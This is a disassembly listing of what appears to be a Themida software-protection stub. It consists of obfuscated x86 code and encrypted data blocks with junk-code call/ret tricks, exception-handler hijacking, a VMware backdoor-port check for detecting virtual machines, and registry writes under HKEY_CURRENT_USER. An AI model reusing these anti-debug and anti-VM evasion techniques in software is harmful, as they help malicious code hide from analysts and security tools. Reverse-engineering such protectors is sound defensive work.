41000000h, 0BB7EC351h, 0B0E1E1C0h, 5F059D71h, 3DBA8BB9h dd 8BC08B28h, 1010A58Dh, 0EA816606h, 0BD839838h, 610158Dh dd 83097500h, 100095BDh, 19740006h, 0C08B5350h, 7D8B8h dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h dd 61000h, 53501774h, 7D8B8h, 65858900h, 8D06100Eh, 12B5049Dh dd 5BD3FF06h, 0D59D0958h, 0B106100Dh, 6AC08B14h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 1B4C352h, 559EE0E6h, 0E1816691h, 3F684B06h, 66000F00h dd 6ACE8Bh, 11870Fh, 0CE90000h, 75000000h, 0F52F6BACh dd 4414C3F5h, 6A5AE5F0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0DD4B8657h, 10A995FFh dd 0F88B0610h, 6AC085h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 98AF01C3h, 774DE174h, 81735F9Bh dd 0C88AB2D9h, 0A8858914h, 8B0612FAh, 101B1195h, 1FF6806h dd 0BF66000Fh, 0BD834953h, 61022E5h, 13840F00h, 81000000h dd 0E86A00EAh, 5858D1Bh, 0E90612FBh, 1Ch, 858DB7B2h, 612FADBh dd 0FE9h, 1162BF00h, 46F18902h, 8995AE96h, 0EE5DB842h dd 81666050h, 894AAFEEh, 100E958Dh, 0B5FF6106h, 612FAA8h dd 11A1BD8Bh, 95FF0610h, 612FAA0h, 0BF0FCE8Bh, 0AC8589FAh dd 0E90612FAh, 9, 779D1B4Bh, 19CE9EEBh, 0D85C761h, 6102Ah dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D697C355h, 9AAE9575h, 2D19BAC5h dd 0BD837C4Eh, 612FAACh, 62840F00h, 8B000001h, 10228D95h dd 8A858D06h, 500612FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0DDC35646h, 0ABA71F97h, 9501E5C1h, 6100A29h dd 3C18166h, 8B016ABFh, 0ACB5FFD0h, 0F0612FAh, 688h, 35850100h dd 0FF061016h, 12FAA495h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 5D8BFEC5h dd 70B1600Fh, 0B5FF61F5h, 612FAACh, 79D952Bh, 95FF0610h dd 61016A5h, 0EE9h, 7BE25000h, 522CC7CFh, 0E14DF3D7h, 0FAD5B24h dd 48Fh, 0CCBA6600h, 1FF686Ah, 8531000Fh, 610057Dh, 22E5BD83h dd 0F000610h, 1784h, 5858D00h, 8B0612FBh, 0C4BF66CFh, 2DE974h dd 95890000h, 6103365h, 0FADB858Dh, 0FE80612h, 0AB000000h dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 7E962D6h, 2D000000h dd 3ABD299Dh, 505F7D57h, 2129958Bh, 0B5FF0610h, 612FAA8h dd 845958Bh, 9D090610h, 6101D05h, 0FAA095FFh, 0F520612h dd 8Ch, 85895A00h, 612FAACh, 0A41DB966h, 31599D29h, 0B5FF0610h dd 612FAACh, 810BBA66h, 0FA9C95FFh, 8D8B0612h, 6102D21h dd 0FAACB5FFh, 95030612h, 6100561h, 16A595FFh, 0B70F0610h dd 0F763E9FEh, 0FFF5FFFFh, 1305F5B5h, 0D3B70F06h, 2DB995FFh dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0DDCB47C3h, 2771BD8Bh, 858B0610h, 6100A0Dh dd 13B18D8Bh, 6AE90610h, 89000006h, 1021D5B5h, 0AAB58D06h dd 520612FDh, 15A98D8Bh, 8D5A0610h, 12AB5E85h, 8430BF06h dd 0D0FF23E8h, 295DBD8Bh, 6A0610h, 95FFCA8Bh, 61009ADh dd 8BFABF0Fh, 53006AF3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 7F470679h, 0AE9h, 8BB6A900h, 0E0895315h dd 8DA7D01Bh, 12AB5E85h, 0DAE98106h, 0FF794EBCh, 0A2E180D0h dd 6660006Ah, 0B638D381h, 241D9D89h, 0FF610610h, 1009AD95h dd 1DD98106h, 8B06676Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0F05D12FAh, 0F9BD8BE4h dd 83061018h, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535019h, 7D9B8C0h, 85890000h, 6100E65h, 0B8159D8Dh dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 7D9B853h dd 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0F07F87C3h, 60CD08D6h, 8BFEBF0Fh, 10057D9Dh, 8E96106h dd 13000000h, 5DDB8526h, 8B53C55Fh, 3D8D8BC0h, 5006101Bh dd 0CF20F6BAh, 6AD88B2Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0DC5BC353h, 0DE9h dd 8C20FE00h, 0F2C36B70h, 97CAD5F6h, 53F58C32h, 0CB59D8Dh dd 38B0610h, 438B0389h, 50438950h, 58E9D8Dh, 38B0613h dd 8B5B0389h, 10294195h, 25B96606h, 40EA8128h, 6A41A5A0h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0A398D404h, 858D95FDh, 613058Eh, 3850Fh dd 0B70F0000h, 6A50D7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 6F7895C3h, 8A484CF1h, 0E5B966F5h dd 606AF514h, 7E9h, 56C63000h, 13A8F47h, 0CB5858Dh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BEF8CC3h, 102F91BDh, 0C5B15006h, 830F006Ah, 6, 29499589h dd 6A0610h, 180068F9h, 0BD890000h, 6103109h, 9E9h, 19113B00h dd 795630D2h, 6A539307h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 1500C352h, 0FFF9E88Ah dd 100A7195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 877C5BF5h, 0F7FA2F2Ah, 2ECD9D89h dd 8E0F0610h, 0Ch, 68F0Fh, 0B5890000h, 6101635h, 162195FFh dd 0CE8B0610h, 5F5B5FFh, 6E90613h, 6B000000h, 7FF99F72h dd 0B995FF72h, 6A06102Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 9ACBC356h, 0C8FC970h dd 0CEBF0FE7h, 22258D89h, 858D0610h, 6100CB5h, 0F58589h dd 408B0610h, 3D958918h, 0C7061013h, 10059985h, 6, 85895300h dd 6101649h, 0E5BD835Ah, 61022h, 1C840Fh, 9D890000h, 6102DA5h dd 8C3Dh, 10830F00h, 8B000002h, 1027698Dh, 0DE906h, 983D0000h dd 0F000000h, 1FA83h, 8DCE8A00h, 5B243B85h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD8B5C98h, 6101DE5h, 0C781D0FFh, 5D752AD3h, 1E8E858Dh dd 840F005Bh, 3 dd 0FFFE8B66h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 32622616h, 8B419C69h dd 1004E595h, 6AC08B06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0C1BBC355h, 1834D295h dd 68F0F52h, 3000000h, 100B758Dh, 0BD835A06h, 610158Dh dd 83097500h, 100095BDh, 19740006h, 0C08B5350h, 0BC6B8h dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h dd 61000h, 53501774h, 0BC6B8h, 65858900h, 8D06100Eh, 12B5049Dh dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0AD4FDFE9h, 0AECF6CAAh, 0F181BAACh dd 5394BE2Fh, 11659D01h, 0C08B0610h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0F2C35242h, 0F883CE8Ah, 45850FFFh dd 0E8000000h, 10h, 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh dd 30959D31h, 0C75A0610h, 10282D85h, 6, 0C2F8BA00h, 33E955C4h dd 57000001h, 0E95FD78Ah, 49h, 6830Fh, 8D8B0000h, 61006FDh dd 0F01F883h, 3485h, 13E900h, 6B8F0000h, 1D6E8700h, 0ED7EAD9Bh dd 12D329BBh, 6C90CBDCh, 99958B4Dh, 0E9061022h, 149h, 0CE9h dd 84F30000h, 0DE423FB8h, 12A3F7BEh, 0F1E7E98Ch, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0E34AF7C3h, 60554CCCh, 1FF99D89h, 8B660610h, 816661CBh dd 8B2092C1h, 0D18166C0h, 0BD83F0F8h, 610158Dh, 83097500h dd 100095BDh, 19740006h, 0C08B5350h, 7DDB8h, 65858900h dd 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h, 61000h dd 53501774h, 7DDB8h, 65858900h, 8D06100Eh, 12B5049Dh dd 5BD3FF06h, 159D2958h, 89061005h, 1016858Dh, 6AC08B06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0F7AC355h, 566E8D06h, 68E0Fh, 0BD8B0000h dd 6100B41h, 0CBBF0F59h, 267E9h, 9E800h, 0F29C0000h, 0E34FF5A9h dd 89701C03h, 101491B5h, 858D5A06h, 6130392h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9EC35040h, 1FA8FA26h dd 8BE1194Eh, 8A8589FBh, 89061305h, 10012585h, 0FE806h dd 0C1D80000h, 6E292C94h, 24D470CFh, 7E3653ECh, 8C5ABF20h dd 0E95F3B1Ch, 62h, 9A858DF8h, 8A061301h, 6A40F5h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 8AB59AC3h, 0AF95FCD0h, 8589FA8Bh, 613058Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DBC35141h, 4B6F92AFh dd 0F10CA74h, 584h, 0D7816600h, 346A4287h, 14E9858Dh, 0FF500610h dd 13058AB5h, 0FF006A06h, 1012F595h, 7F88306h, 168840Fh dd 8C660000h, 4C3F6DBh, 102850Fh, 85C60000h, 61023E5h dd 0B8526856h, 0B5FF9CA8h, 6101499h, 3A32858Dh, 0D0FF0610h dd 68046Ah, 6A000010h, 0FF006A64h, 0FD8589D0h, 0C6061305h dd 1023E585h, 9B684706h, 0FFEC18ACh, 101499B5h, 32858D06h dd 0FF06103Ah, 8BD0FFD0h, 0E585C6F0h, 4F061023h, 2F266168h dd 61B5FFC6h, 8D06102Eh, 103A3285h, 8DD0FF06h, 1305F99Dh dd 286A5306h, 85D0FF56h, 0C60075C0h, 1023E585h, 98684106h dd 0FFDB8764h, 102E61B5h, 32858D06h, 0FF06103Ah, 168589D0h dd 0C6061306h, 1023E585h, 0A4684C06h, 0FF80A4E7h, 102E61B5h dd 32858D06h, 0FF06103Ah, 0FD9D8BD0h, 8D061305h, 8D53045Bh dd 1306029Dh, 6A5306h, 9D8BD0FFh, 61305FDh, 103C7h, 43C70000h dd 20Ch, 619D8B00h, 0C7061011h, 1001E585h, 6, 6A006A00h dd 8B006A00h, 1305FD9Dh, 6A5306h, 5F9B5FFh, 95FF0613h dd 6130616h, 23E585C6h, 68450610h, 92A5F797h, 20E5B5FFh dd 858D0610h, 6103A32h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h dd 327504C3h, 5FD9D8Bh, 43C70613h, 0Ch, 6A006A00h, 0FD9D8B00h dd 53061305h, 0B5FF006Ah, 61305F9h, 61695FFh, 0B5FF0613h dd 61305F9h, 162195FFh, 6A0610h, 9AD95FFh, 0B5890610h dd 6100625h, 61F38B60h, 3B04858Dh, 95290613h, 61012F1h dd 0EA816050h, 240648A4h, 35FF6461h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp xor [ebp+6101455h], ecx cmp dword ptr [ebp+6103105h], 0 jz loc_57EED9 mov ecx, [ebp+6102885h] cld cmp dword ptr [ebp+6102209h], 1 jnz loc_57EED9 mov cx, bx mov [ebp+6100551h], edi cmp byte ptr [ebp+6130A16h], 0 jnz loc_57EED9 push 0 push ebx call sub_57EE93 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EE93 proc near ; CODE XREF: Themida_:0057EE8Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_57EE93 endp ; --------------------------------------------------------------------------- db 83h dd 387FFFC5h, 0FE93Eh, 2E300000h, 838DAD98h, 877BDAD7h dd 0C9766C23h, 8C0F6045h, 5, 5BF38166h, 61605235h, 84E9615Fh dd 29000001h, 100C118Dh ; --------------------------------------------------------------------------- push es loc_57EED9: ; CODE XREF: Themida_:0057EE58j ; Themida_:0057EE6Cj ... xor ebx, ebx push 0 push edx call sub_57EEE6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EEE6 proc near ; CODE XREF: Themida_:0057EEDEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_57EEE6 endp ; --------------------------------------------------------------------------- dw 47BDh dd 5E97Ch, 92E30000h, 33C9773Bh, 0A42FB9C0h, 0BD8B76C1h dd 610319Dh, 73F0F40h, 58F640Bh, 0 ; --------------------------------------------------------------------------- add esp, 4 mov [ebp+6100A75h], edi mov ecx, edi sub edx, [ebp+6101FCDh] stc cmp ebx, 0FFFFFFFFh jz loc_57EF60 mov edi, [ebp+6101A85h] jmp loc_57F04D ; --------------------------------------------------------------------------- call loc_57EF59 retn 51C2h ; --------------------------------------------------------------------------- dw 0B90Bh dd 5AD351FAh, 0D7627D50h, 0F2F87003h db 2Dh ; --------------------------------------------------------------------------- loc_57EF59: ; CODE XREF: Themida_:0057EF42p xor edi, [ebp+6102809h] pop edi loc_57EF60: ; CODE XREF: Themida_:0057EF31j jmp loc_57EFE6 ; --------------------------------------------------------------------------- jno loc_57EF6F mov dx, 0A294h loc_57EF6F: ; CODE XREF: Themida_:0057EF65j mov ecx, [esp+0Ch] mov dword ptr [ecx+0A4h], 0FFFFFFFFh add dword ptr [ecx+0B8h], 4 xor eax, eax retn ; --------------------------------------------------------------------------- mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 6133B26h mov eax, [ebx+0B8h] lea eax, [ebp+6133BECh] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- and cl, 56h pusha sub si, 399Ch add [ebp+6100151h], edx popa push 0 push ebx call sub_57EFC9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57EFC9 proc near ; CODE XREF: Themida_:0057EFC1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_57EFC9 endp ; --------------------------------------------------------------------------- db 48h, 0D6h, 50h dd 0EF9E5AF9h, 4D59D89h ; --------------------------------------------------------------------------- adc [esi], al loc_57EFE6: ; CODE XREF: Themida_:loc_57EF60j lea eax, [ebp+6133B1Ch] xor cx, 0C0A9h push eax mov dh, 9Eh push large dword ptr fs:0 jbe loc_57F007 sub [ebp+610201Dh], edi loc_57F007: ; CODE XREF: Themida_:0057EFFBj mov large fs:0, esp jmp loc_57F025 ; --------------------------------------------------------------------------- db 0CDh db 0CCh ; --------------------------------------------------------------------------- push ss xchg eax, esi mov esi, 497DA17Fh add [ecx], esp popf xor eax, 10568921h push ds loc_57F025: ; CODE XREF: Themida_:0057F00Ej mov ecx, 0Ah mov eax, 4855D704h add eax, 0DF78164h mov ebx, 8685D465h mov edx, 34B640h sub edx, 345FE8h in eax, dx cmp ebx, 564D5868h jnz short loc_57F057 loc_57F04D: ; CODE XREF: Themida_:0057EF3Dj mov dword ptr [ebp+6102D11h], 1 loc_57F057: ; CODE XREF: Themida_:0057F04Bj pop large dword ptr fs:0 add esp, 4 cmc movsx ecx, bx mov eax, eax xor cx, 0F8D9h mov edi, [ebp+6100BC1h] cmp dword ptr [ebp+610158Dh], 0 jnz short loc_57F084 cmp dword ptr [ebp+6100095h], 0 jz short loc_57F09D loc_57F084: ; CODE XREF: Themida_:0057F079j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+610132Dh], eax lea ebx, [ebp+612B87Ch] call ebx pop ebx pop eax loc_57F09D: ; CODE XREF: Themida_:0057F082j cmp dword ptr [ebp+6100095h], 0 jz short loc_57F0BD push eax push ebx mov eax, 43Dh mov [ebp+610132Dh], eax lea ebx, [ebp+612B51Dh] call ebx pop ebx pop eax loc_57F0BD: ; CODE XREF: Themida_:0057F0A4j mov dx, si mov [ebp+61005D9h], eax mov edx, ebx mov eax, eax jmp loc_57F216 ; --------------------------------------------------------------------------- db 4 dd 31000000h, 3031392Eh, 7 dup(0) db 0 aExceptionInfor db 'Exception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_57F216: ; CODE XREF: Themida_:0057F0CAj cmp dword ptr [ebp+61015BDh], 0 jz loc_57F350 lea eax, [ebp+612B334h] push eax lea eax, [ebp+612B29Eh] push eax push 80000001h call dword ptr [ebp+612B344h] lea eax, [ebp+6133C64h] push eax lea eax, [ebp+6133C6Eh] push eax push 0 push 0 lea eax, [ebp+612B2B2h] push eax push dword ptr [ebp+612B334h] call dword ptr [ebp+6101451h] lea eax, [ebp+6133C64h] push eax lea eax, [ebp+6133C72h] push eax push 0 push 0 lea eax, [ebp+612B2C4h] push eax push dword ptr [ebp+612B334h] call dword ptr [ebp+6101451h] lea eax, [ebp+6133C64h] push eax lea eax, [ebp+6133C7Eh] push eax push 0 push 0 lea eax, [ebp+612B311h] push eax push dword ptr [ebp+612B334h] call dword ptr [ebp+6101451h] lea eax, [ebp+6133C64h] push eax lea eax, [ebp+6133C86h] push eax push 0 push 0 lea eax, [ebp+612B32Fh] push eax push dword ptr [ebp+612B334h] call dword ptr [ebp+6101451h] lea eax, [ebp+6133C64h] push eax lea eax, [ebp+6133C82h] push eax push 0 push 0 lea eax, [ebp+612B318h] push eax push dword ptr [ebp+612B334h] call dword ptr [ebp+6101451h] lea eax, [ebp+6133C64h] push eax lea eax, [ebp+6133C76h] push eax push 0 push 0 lea eax, [ebp+612B320h] push eax push dword ptr [ebp+612B334h] call dword ptr [ebp+6101451h] lea eax, [ebp+6133C64h] push eax lea eax, [ebp+6133C7Ah] push eax push 0 push 0 lea eax, [ebp+612B327h] push eax push dword ptr [ebp+612B334h] call dword ptr [ebp+6101451h] push dword ptr [ebp+612B334h] call dword ptr [ebp+610058Dh] jmp loc_57F3F2 ; --------------------------------------------------------------------------- loc_57F350: ; CODE XREF: Themida_:0057F21Dj cmp dword ptr [ebp+6100959h], 0 jz loc_57F3F2 cmp dword ptr [ebp+6102209h], 0 jnz loc_57F37B mov edx, [ebp+6102955h] add edx, 1CF8h jmp loc_57F38A ; --------------------------------------------------------------------------- loc_57F37B: ; CODE XREF: Themida_:0057F364j lea edx, [ebp+6100CB5h] mov edx, [edx+34h] add edx, 3BD4C340h loc_57F38A: ; CODE XREF: Themida_:0057F376j mov [ebp+6100701h], edx cmp dword ptr [ebp+6100701h], 0 jz loc_57F3F2 mov ebx, [ebp+6100701h] add ebx, 4Ch mov eax, [ebx] mov [ebp+6133C6Eh], eax mov ebx, [ebp+6100701h] add ebx, 50h mov eax, [ebx] mov [ebp+6133C72h], eax mov ebx, [ebp+6100701h] add ebx, 54h mov eax, [ebx] mov [ebp+6133C7Eh], eax mov ebx, [ebp+6100701h] add ebx, 58h mov eax, [ebx] mov [ebp+6133C82h], eax mov ebx, [ebp+6100701h] add ebx, 5Ch mov eax, [ebx] mov [ebp+6133C76h], eax loc_57F3F2: ; CODE XREF: Themida_:0057F34Bj ; Themida_:0057F357j ... cmp dword ptr [ebp+61015BDh], 0 jnz loc_57F40C cmp dword ptr [ebp+6100959h], 0 jz loc_57F474 loc_57F40C: ; CODE XREF: Themida_:0057F3F9j push dword ptr [ebp+6133C86h] push dword ptr [ebp+6133C7Ah] push dword ptr [ebp+6133C76h] push dword ptr [ebp+6133C82h] push dword ptr [ebp+6133C7Eh] push dword ptr [ebp+6133C72h] push dword ptr [ebp+6133C6Eh] lea eax, [ebp+6133C68h] push eax lea eax, [ebp+6133CA0h] push eax lea eax, [ebp+6102B01h] push eax call dword ptr [ebp+6100251h] add esp, 24h push 40h lea eax, [ebp+6133C8Ah] push eax lea eax, [ebp+6102B01h] push eax push 0 call dword ptr [ebp+61012F5h] push 1 call dword ptr [ebp+61009ADh] loc_57F474: ; CODE XREF: Themida_:0057F406j mov eax, ecx call loc_57F486 scasb push ebp loope loc_57F4DB mov dh, 0E0h ; --------------------------------------------------------------------------- db 8Eh, 73h, 0E4h db 27h, 0E9h ; --------------------------------------------------------------------------- loc_57F486: ; CODE XREF: Themida_:0057F476p jl loc_57F497 pusha and dh, 0B8h adc ecx, 5B91BA74h popa loc_57F497: ; CODE XREF: Themida_:loc_57F486j pop edi pusha or ch, 6Ah sbb ax, 9762h popa add edi, 5F48h xor eax, eax add dh, 0DEh loc_57F4AD: ; CODE XREF: Themida_:0057F530j push dword ptr [eax+edi] jmp loc_57F4C4 ; --------------------------------------------------------------------------- db 0E9h, 0B6h, 0CBh dd 990EEF2h, 55251F25h, 0B907AFB6h ; --------------------------------------------------------------------------- loc_57F4C4: ; CODE XREF: Themida_:0057F4B0j pop ecx xor bx, 1358h sub ecx, 1021945Fh mov si, 5D1Eh xor ecx, 58AB8274h push eax loc_57F4DB: ; CODE XREF: Themida_:0057F47Dj jmp loc_57F4E6 ; --------------------------------------------------------------------------- mov dl, 0E4h test bl, bl mov dl, 0B6h loc_57F4E6: ; CODE XREF: Themida_:loc_57F4DBj pop ebx xor ecx, 65CAFBEEh cmc mov [edi+eax], ecx sbb bl, 51h xor bh, 38h sub eax, 2 and ebx, 0FB8E10Bh dec eax dec eax mov dx, si ; CODE XREF: Themida_:0057F54Cj cmp eax, 0FFFFA17Ch jnz loc_57F52C push ebx mov bx, si pop edx jmp loc_57F543 ; --------------------------------------------------------------------------- db 0AFh dd 9A4A1CDDh, 0CB3C18D9h, 90D78930h, 76413D18h ; --------------------------------------------------------------------------- loc_57F52C: ; CODE XREF: Themida_:0057F50Bj mov dx, 0BBADh jmp loc_57F4AD ; --------------------------------------------------------------------------- db 0E6h, 88h, 0Ch ; --------------------------------------------------------------------------- mov fs, di cmp ds:352D7A32h, ebp mov cl, 71h lodsb loc_57F543: ; CODE XREF: Themida_:0057F516j pusha mov dx, di call sub_57F55F repne jecxz short near ptr loc_57F502+1 jp short loc_57F5B0 sbb [edx], dl mov ds:2EBAFC7Fh, eax retn 0E05h ; CODE XREF: sub_57F55F+Dj ; --------------------------------------------------------------------------- db 88h ; --------------------------------------------------------------------------- movsb add ebp, [edi] ; =============== S U B R O U T I N E ======================================= sub_57F55F proc near ; CODE XREF: Themida_:0057F547p call near ptr loc_57F576+1 test [ebx+2884E302h], esi daa insd jns short near ptr locret_57F558+2 push esi pop ebp insb sub [edi-15h], bh db 26h in eax, dx loc_57F576: ; CODE XREF: sub_57F55Fp rep sbb dx, 0FB2Dh sub_57F55F endp ; sp-analysis failed pop ecx pop edx mov eax, eax push 0 push edx call sub_57F58B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F58B proc near ; CODE XREF: Themida_:0057F583p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_57F58B endp ; --------------------------------------------------------------------------- db 0EFh dd 0AD1C0E51h, 83F08B29h, 10158DBDh, 9750006h, 95BD83h ; --------------------------------------------------------------------------- loc_57F5B0: ; CODE XREF: Themida_:0057F54Fj adc [esi], al add [ecx+ebx+50h], dh push ebx mov eax, eax mov eax, 40Eh mov [ebp+6100E65h], eax lea ebx, [ebp+612B815h] call ebx pop ebx pop eax cmp dword ptr [ebp+6100095h], 0 jz short loc_57F5EE push eax push ebx mov eax, 40Eh mov [ebp+6100E65h], eax lea ebx, [ebp+612B504h] call ebx pop ebx pop eax loc_57F5EE: ; CODE XREF: Themida_:0057F5D5j and cl, 0Fh push 0 push edx call sub_57F5FC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F5FC proc near ; CODE XREF: Themida_:0057F5F4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_57F5FC endp ; --------------------------------------------------------------------------- xchg eax, esi xor al, 0BCh db 36h jno short loc_57F63D xchg eax, ebp test [edx-0Bh], ch mov cx, 4C1Dh mov eax, eax movsx esi, ax cmp dword ptr [ebp+6103105h], 0 jz loc_57F643 jmp loc_57F638 ; --------------------------------------------------------------------------- db 48h, 0C0h, 0B4h dd 60E70F41h ; --------------------------------------------------------------------------- loc_57F638: ; CODE XREF: Themida_:0057F62Cj jmp loc_57F93B ; --------------------------------------------------------------------------- loc_57F63D: ; CODE XREF: Themida_:0057F60Fj or ecx, 505C6498h loc_57F643: ; CODE XREF: Themida_:0057F626j mov edi, ds jmp loc_57F654 ; --------------------------------------------------------------------------- dw 95Dh dd 0D8F0A148h, 432A13E7h ; --------------------------------------------------------------------------- loc_57F654: ; CODE XREF: Themida_:0057F645j test di, 4 jnz loc_57F93B push 0 push edi call sub_57F66A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F66A proc near ; CODE XREF: Themida_:0057F662p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_57F66A endp ; --------------------------------------------------------------------------- dw 830Fh dd 1022E5BDh, 850F0006h, 97h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 75C35242h, 0FE8h, 2B47F200h dd 98F92E13h, 44CCDB8Eh, 0F9FA91E8h, 0EAE68166h, 840F5ACAh dd 19h, 14E9h, 0D2F85000h, 0BFFD9D19h, 8AEC0D4Fh, 0C500B961h dd 8426E09Eh, 259E9CDh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 9DED40C3h, 25025569h dd 0F181665Ah, 10E92B3Bh, 7E000000h, 6E52CDB3h, 47DD9002h dd 6D5AEEDCh, 2B47B9EEh, 0D98166FFh, 9D8D9B7Ah, 6134467h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4DC35545h dd 0ED9637C1h, 623DAB63h, 3860F17h, 80000000h, 0BE66D6D6h dd 6650B10Ah, 89245FB9h, 850F241Ch, 0Ah, 815F5260h, 5F032ED2h dd 0FF646163h, 35h, 5860F00h, 66000000h, 0A7EBC981h, 258964h dd 0B6000000h, 81C48BA9h, 9E2AC9EAh, 0EB01CD57h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 3BA2E123h, 2890F67h, 8A000000h, 5E8D1h, 0B4CB0000h dd 0E94FE862h, 9, 5F1C6E5h, 360A387Bh, 8F645A67h, 5, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 4814C7C7h, 0E3DEC142h, 4C48380h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0A5C35646h, 2CD23DDBh, 0B1CDDAFh dd 4840FC0h, 0BE000001h, 3320850Ah, 57006A61h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0A2727453h dd 0A3BD8DAEh, 0E8061073h, 11h, 2063F439h, 5EF6ED3Bh, 6FBA1F74h dd 0F6E41423h, 0BE807h, 6CB00000h, 0B025206Dh, 32A710F5h dd 13E87Ch, 67420000h, 0A7D7664Ch, 0BB0C0353h, 0DB6DC96Eh dd 43C82265h, 5E5E5EC8h, 1B8h, 68B9B900h, 0C2813C4Dh, 784756B9h dd 6AE7FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 8B57A7C3h, 8B10245Ch, 0B883h, 40B60F00h dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9FC35141h dd 0E5FC40E2h, 0E8AA81EEh, 13h, 0FDAD48E5h, 3DB6C30Fh dd 0BC8E33DFh, 0D13CDED0h, 0FD981EFh, 588h, 0D2816600h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dec esi pop edx loc_57F93B: ; CODE XREF: Themida_:loc_57F638j ; Themida_:0057F659j popa jmp loc_57F94E ; --------------------------------------------------------------------------- db 8, 6Fh, 1 dd 